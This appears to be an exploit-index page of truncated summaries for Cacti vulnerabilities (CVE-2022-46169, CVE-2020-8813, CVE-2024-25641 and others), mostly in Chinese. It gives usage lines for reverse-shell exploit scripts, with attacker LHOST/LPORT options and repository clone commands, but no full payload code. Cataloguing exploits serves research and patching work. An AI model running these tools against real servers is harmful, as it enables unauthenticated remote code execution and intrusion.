CVE-2022-46196

CVE-2022-46196 描述 该 Python 代码利用 Cacti 1.2.22 及更早版本中存在的一个未经身份验证的命令注入漏洞。它使用 argparse 解析命令行参数，使用 requests 获取目标 Cacti 实例的 HTML 内容，并使用 BeautifulSoup 从 HTML 内容中提取 Cacti 的版本号。如果版本小于等于 1.2.22，代码将继续执行漏洞利用。 该漏洞利用涉及向 Cacti 实例的 remoteagent.php 文件发送一个有效载荷，该有效载荷是一条 Bash 命令，用于向指定的监听 IP 和端口打开反向 Shell。代码遍历一系列主机 I...

CVE-2022-46169

Cacti remoteagent.php 远程命令执行漏洞 CVE-2022-46169 漏洞描述 Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞，攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。 漏洞影响 Cacti 1.2.17-1.2.22 网络测绘 app="Cacti-监控系统" 漏洞复现...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

Cacti - Cross-Site Scripting

Cacti contains a cross-site scripting vulnerability via "http:///authchangepassword.php?ref=alert1" which can successfully execute the JavaScript payload present in the "ref" URL parameter. id: CVE-2021-26247 info: name: Cacti - Cross-Site Scripting author: dhiyaneshDK severity: medium descriptio...

Cacti v1.2.8 - Remote Code Execution

Cacti v1.2.8 is susceptible to remote code execution. This vulnerability could be exploited without authentication if "Guest Realtime Graphs" privileges are enabled. id: CVE-2020-8813 info: name: Cacti v1.2.8 - Remote Code Execution author: gy741 severity: high description: Cacti v1.2.8 is...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 此漏洞利用程序是基于 @FredBrave 原始脚本的修改版本，并由 @arthurcortesr 和 @alv-david 进行了改编。 使用/示例 root@kitploit: python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X 预期结果 root@kitploit: Testing hostid=X, localdataid=XX... + Found working combination:...

CVE-2023-39539-PoC

CVE-2023-39539-PoC PoC para CVE-2023-39539 en Cacti 1.2.22...

EH2-PoC

Cacti 未经身份验证的命令注入 CVE-2022-46169 这是 Vulnhub 的 Cacti 场景的一个简单 PoC 改编。你可以查看这里 Cacti 是一个面向全球用户的强大且可扩展的运维监控和故障管理框架。一个命令注入漏洞允许未经身份验证的用户在运行版本 1.2.17 至 1.2.22 之前的 Cacti 服务器上执行任意代码，前提是为任何受监控设备选择了特定的数据源。 参考资料： https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf...

Cacti-CVE-2020-8813

Cacti-CVE-2020-8813 root@kitploit: Usage: cactirce.py options Options: -h, --help show this help message and exit -u URL, --url=URL Required target URL eg:. http://Cacti/ -l LHOST, --lhost=LHOST Required Attacker IP addr -p LPORT, --lport=LPORT Default 443 Attacker IP Port Ejemplo: root@kitploit:...

CVE-2023-39361

Cacti graphview.php 中的 SQL 注入导致 RCE CVE-2023-39361 WHS 3期 - 南基灿7342 ChoDeokCheol 摘要 Cacti 1.2.24 服务器中，graphview.php 文件的 growrightpanetree 函数存在漏洞。 当 action 参数设置为 treecontent 时，存在用户输入参数 rfilter。 rfilter 参数虽然通过 htmlvalidatetreevars 函数进行验证，但该验证仅检查是否为有效的正则表达式 。 最终，rfilter 的值被插入到 SQL 查询中，从而可能实现代码注入 。...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 未经身份验证的命令注入。 此脚本仅检查 CVE-2022-46169 的条件。 什么是 Cacti？ Cacti 是一个开源平台，为用户提供强大且可扩展的操作监控和故障管理框架。在受影响版本中，如果某个监控设备选择了特定数据源，则存在命令注入漏洞，允许未经身份验证的用户在运行 Cacti 的服务器上执行任意代码。 克隆与使用 1. git clone https://github.com/doosec101/CVE-2022-46169.git 2. cd CVE-2022-46169...

CVE-2020-14295

CVE-2020-14295 漏洞详情 - https://github.com/Cacti/cacti/issues/3622 安装 pip3 install -r requirements.txt 用法 root@kitploit: $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help show this help message and exit...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - 任意文件写入致 RCE 🌵 已认证的 RCE Cacti 版本 v1.2.26 摘要 一个任意文件写入漏洞，可通过“包导入”功能加以利用，允许具有“导入模板”权限的已认证用户在 Web 服务器上执行任意 PHP 代码（远程代码执行）。 概念验证 用法 root@kitploit: git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd CVE-2024-25641-CACTI-RCE-1.2.26 pip...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC：认证绕过与远程代码执行 本仓库包含 CVE-2022-46169 漏洞的 PoC，该漏洞允许攻击者绕过认证并在受影响系统上远程执行任意代码。此漏洞影响 2022 年 8 月 18 日发布的 Cacti 版本 1.2.22。 该漏洞的产生原因是 remoteagent.php 中有一个用于检索 IP 地址并验证 poller 表中条目的函数。如果找到条目，函数将返回 true，客户端即被授权。其中一个名为 polldata 的操作会检索几个请求参数，如果 polleritem 的 action 等于...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 认证远程代码执行 PoC 该仓库包含针对 CVE-2025-24367 的概念验证利用代码，该漏洞是 Cacti 中的一个认证远程代码执行漏洞。 该问题利用了图形模板处理中输入清理不足的缺陷。通过向 “Unix – Logged in Users” 图形模板（ID 226）中注入恶意内容，可以向 Cacti Web 根目录写入任意 PHP 文件，并在服务器上执行命令。 此 PoC 仅用于 实验室环境、受控测试和研究目的 。 漏洞摘要 产品： Cacti 漏洞类型： 认证远程代码执行 CVE 编号： CVE-2025-24367 攻击向量：...

CVE-2020-8813-Cacti-RCE-in-graph_realtime

CVE-2020-8813 - RCE through graphrealtime.php in Cacti 1.2.8 功能特性 通过 Cacti 1.2.8 中的 graphrealtime.php 实现 RCE 实时模式 执行单个命令 详细模式 描述 在 Cacti 1.2.8 中，graphrealtime.php 脚本允许远程攻击者通过向 cookie 中注入 shell 元字符来执行任意操作系统命令，前提是访客用户已被授予图形实时权限。...

CVE-2022-46169

CVE-2022-46169 – 说明与项目概述 Cacti 未授权远程代码执行 这是什么项目？ 本项目是一项网络安全任务，演示了 CVE‑2022‑46169 ：开源网络监控平台 Cacti （版本 ≤ 1.2.22）中的一个严重漏洞。该漏洞允许未认证的攻击者在服务器上执行任意操作系统命令——无需任何登录。 本项目的目标是理解该漏洞，在受控的实验室环境中复现它，并展示其影响。 什么是 CVE‑2022‑46169？ CVE‑2022‑46169 是 Cacti 中两个缺陷的组合： 1. 授权绕过 文件 remoteagent.php 通常只允许 Cacti...

SHELL-POC-CVE-2022-46169

SHELL-POC-CVE-2022-46169 使用Bash编写的CVE-2022-46169漏洞概念验证程序，用于发送反向Shell有效载荷。 要自己搭建一个易受攻击的环境，请访问此仓库：https://github.com/m3ssap0/cacti-rce-cve-2022-46169-vulnerable-application。 使用方法： root@kitploit: ./poc.sh -i -p -u...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 未认证远程代码执行 使用 Python 3 不通过 Docker 运行： root@kitploit: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py 通过 Docker 运行： root@kitploit: git clone...